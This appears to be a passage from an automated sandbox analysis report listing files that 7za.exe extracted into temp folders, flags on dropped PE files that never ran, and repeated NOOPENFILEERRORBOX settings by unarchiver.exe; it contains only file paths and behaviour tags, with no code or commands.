Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\JavaAccessBridge-32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\MXF_SDK_Modules_DataIO_1.4.22_vs10.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\Surface.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\javacpl.cpl	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\XMLDOMObject.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\mc_config_pcm.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\DX8_ImportObject.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\mfc100cht.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\InterfaceCommand.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\InterfaceUnique.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\Image.Services.Core.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\VectorOperator.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\unpack.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\d3dcompiler_47.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\awt.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mc_config_mp2m.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\MXF_SDK_GenericContainer_AES3_4.5.16_vs10.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\eula.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\javafx_font_t2k.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\GUISkin.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\mc_trans_video_framerate.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\InstanceRefSphereTree.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mc_trans_video_framerate.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\dt_shmem.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mc_mux_dv.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\gstreamer-lite.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\java.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\javafx_font.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\DirectX\setup64.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\npt.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mc_enc_pcm.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\adbeape.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\JavaAccessBridge.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\DX8_Camera.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\verify.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\management.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\WindowsAccessBridge-32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\ObjectDataCommand.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\d3dcompiler_47.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\Object.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\ImageMetaData.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\DirectX\wget.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\TextFilter.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\libGLESv2.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\DirectX\7z.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\hprof.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\InterfaceUnique.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\glib-lite.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\jp2ssv.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\ImageStitcher.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\mc_enc_mp2sr.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\InstanceRefTree.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\MXF_SDK_GenericContainer_SystemScheme1_4.5.16_vs10.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\w2k_lsa_auth.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mc_demux_dv.dll	Jump to dropped file

Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\ImageMetaData.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\jp2iexp.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mfc100cht.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\jawt.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\dt_socket.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\boost_system.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\FModSound.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\mfc100chs.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\wsdetect.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\jpeg.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\GPUPerfAPIDX11-x64.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\d3dcompiler_47.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\sunmscapi.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\d3dcompiler_47.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\mc_enc_mp2sr.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\decora_sse.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\nio.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\lcms.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\InterfaceCreation.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\java_crw_demo.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\boost_system.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\mc_config_mp2m.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\mc_config_pcm.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\DX8_SoundFile2.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\zip.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\MXF_SDK_Modules_DataIO_1.4.22_vs10.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\PlugPlugExternalObject.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\mc_config_mp2v.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mc_config_mpa.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\Tesselator.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\instrument.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\mc_config_mp4v.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\jsoundds.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mc_config_mp2v.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\net.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\InterfaceFunction.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\MXF_SDK_Modules_DataIO_1.4.22_vs10.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\bci.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\adbeape.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\prism_d3d.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\GFSDK_ShadowLib.win64.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\DirectX\setup64.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\DL100PDFL.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\DL100PDFL.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\SceneContainerCommand.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mc_enc_mp2sr.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\t2k.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\DirectX\7z.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\sunec.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\dcpr.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\InterfaceCreation.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mc_config_mp4v.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\MXF_SDK_GenericContainer_AVI_4.5.16_vs10.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\DirectX\WinRAR.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\CGRCommand.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\splashscreen.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\boost_system.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\DL100AGM.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\GroupBuffer.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\InstanceContainer.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\DL100AGM.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\InterfaceCommand.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\FloatTexture.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\mc_trans_audio_converter.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\jfxwebkit.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\boost_system.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\mfc100chs.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\FileLoader.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\StyleTransfer.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\mc_demux_dv.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\DirectX\setup64.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\adbeape.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\DX8_UserInput.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\JSONCommand.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\prism_sw.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\DX8_SysInfo.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\jli.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\XMLDOMCommand.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\mlib_image.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\DX8_MotionSet.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\jfr.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\DX8_TextOut.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\DX8_DirectInput.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\prism_common.dll	Jump to dropped file
